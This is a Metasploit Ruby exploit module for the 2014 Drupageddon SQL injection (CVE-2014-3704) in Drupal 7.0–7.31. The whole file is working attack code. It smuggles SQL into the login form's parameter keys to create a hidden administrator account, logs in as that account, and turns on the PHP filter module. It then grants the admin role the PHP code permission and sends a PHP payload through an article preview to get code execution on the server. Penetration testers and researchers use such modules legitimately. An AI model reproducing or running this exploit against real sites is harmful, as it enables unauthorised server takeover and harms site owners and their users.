##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection',
'Description' => %q{
This module exploits the Drupal HTTP Parameter Key/Value SQL Injection
(aka Drupageddon) in order to achieve a remote shell on the vulnerable
instance. This module was tested against Drupal 7.0 and 7.31 (was fixed
in 7.32).
},
'License' => MSF_LICENSE,
'Author' =>
[
'SektionEins', # discovery
'Christian Mehlmauer', # msf module
'Brandon Perry' # msf module
],
'References' =>
[
['CVE', '2014-3704'],
['URL', 'https://www.drupal.org/SA-CORE-2014-005'],
['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html']
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [['Drupal 7.0 - 7.31',{}]],
'DisclosureDate' => 'Oct 15 2014',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/'])
], self.class)
register_advanced_options(
[
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
], self.class)
end
def uri_path
normalize_uri(target_uri.path)
end
def admin_role
datastore['ADMIN_ROLE']
end
def iter
datastore['ITER']
end
def itoa64
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
end
# PHPs PHPASS base64 method
def phpass_encode64(input, count)
out = ''
cur = 0
while cur < count
value = input[cur].ord
cur += 1
out << itoa64[value & 0x3f]
if cur < count
value |= input[cur].ord << 8
end
out << itoa64[(value >> 6) & 0x3f]
break if cur >= count
cur += 1
if cur < count
value |= input[cur].ord << 16
end
out << itoa64[(value >> 12) & 0x3f]
break if cur >= count
cur += 1
out << itoa64[(value >> 18) & 0x3f]
end
out
end
def generate_password_hash(pass)
# Syntax for MD5:
# $P$ = MD5
# one char representing the hash iterations (min 7)
# 8 chars salt
# MD5_raw(salt.pass) + iterations
# MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
iter_char = itoa64[iter]
salt = Rex::Text.rand_text_alpha(8)
md5 = Rex::Text.md5_raw("#{salt}#{pass}")
# convert iter from log2 to integer
iter_count = 2**iter
1.upto(iter_count) {
md5 = Rex::Text.md5_raw("#{md5}#{pass}")
}
md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[0...22]
pass = "$P\\$" + iter_char + salt + md5_stripped
vprint_debug("#{peer} - password hash: #{pass}")
return pass
end
def sql_insert_user(user, pass)
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
end
def sql_make_user_admin(user)
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
end
def extract_form_ids(content)
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
vprint_debug("#{peer} - form_build_id: #{form_build_id}")
vprint_debug("#{peer} - form_token: #{form_token}")
return form_build_id, form_token
end
def exploit
# TODO: Check if option admin_role exists via admin/people/permissions/roles
# call login page to extract tokens
print_status("#{peer} - Testing page")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
user = Rex::Text.rand_text_alpha(10)
pass = Rex::Text.rand_text_alpha(10)
post = {
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),
'name[0]' => Rex::Text.rand_text_alpha(10),
'pass' => Rex::Text.rand_text_alpha(10),
'form_build_id' => form_build_id,
'form_id' => 'user_login',
'op' => 'Log in'
}
print_status("#{peer} - Creating new user #{user}:#{pass}")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# login
print_status("#{peer} - Logging in as #{user}:#{pass}")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => {
'name' => user,
'pass' => pass,
'form_build_id' => form_build_id,
'form_id' => 'user_login',
'op' => 'Log in'
},
'vars_get' => {
'q' => 'user/login'
}
})
unless res and res.code == 302
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
cookie = res.get_cookies
vprint_debug("#{peer} - cookie: #{cookie}")
# call admin interface to extract CSRF token and enabled modules
print_status("#{peer} - Trying to parse enabled modules")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/modules'
},
'cookie' => cookie
})
form_build_id, form_token = extract_form_ids(res.body)
enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/
enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match }
unless enabled_matches
fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.")
end
post = {
'modules[Core][php][enable]' => '1',
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'system_modules',
'op' => 'Save configuration'
}
enabled_matches.each do |match|
post[match.captures[0]] = '1'
end
# enable PHP filter
print_status("#{peer} - Enabling the PHP filter module")
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'admin/modules/list/confirm'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# Response: http 302, Location: http://10.211.55.50/?q=admin/modules
print_status("#{peer} - Setting permissions for PHP filter module")
# allow admin to use php_code
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
perm_regex = /name="(.*)" value="(.*)" checked="checked"/
enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match }
unless enabled_perms
fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.")
end
# get administrator role id
id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/
vprint_debug("#{peer} - admin role id: #{id}")
unless id
fail_with(Failure::Unknown, "Could not parse out administrator ID")
end
post = {
"#{id}[use text format php_code]" => 'use text format php_code',
'form_build_id' => form_build_id,
'form_token' => form_token,
'form_id' => 'user_admin_permissions',
'op' => 'Save permissions'
}
enabled_perms.each do |match|
post[match.captures[0]] = match.captures[1]
end
res = send_request_cgi({
'uri' => uri_path,
'method' => 'POST',
'vars_post' => post,
'vars_get' => {
'q' => 'admin/people/permissions'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
# Add new Content page (extract csrf token)
print_status("#{peer} - Getting tokens from create new article page")
res = send_request_cgi({
'uri' => uri_path,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
})
unless res and res.body
fail_with(Failure::Unknown, "No response or response body, bailing.")
end
form_build_id, form_token = extract_form_ids(res.body)
# Preview to trigger the payload
data = Rex::MIME::Message.new
data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"')
data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"')
data.add_part(form_token, nil, nil, 'form-data; name="form_token"')
data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"')
data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"')
data.add_part("<?php #{payload.encoded} ?>", nil, nil, 'form-data; name="body[und][0][value]"')
data.add_part('Preview', nil, nil, 'form-data; name="op"')
data.add_part(user, nil, nil, 'form-data; name="name"')
data.add_part('1', nil, nil, 'form-data; name="status"')
data.add_part('1', nil, nil, 'form-data; name="promote"')
post_data = data.to_s
print_status("#{peer} - Calling preview page. Exploit should trigger...")
send_request_cgi(
'method' => 'POST',
'uri' => uri_path,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data,
'vars_get' => {
'q' => 'node/add/article'
},
'cookie' => cookie
)
end
end
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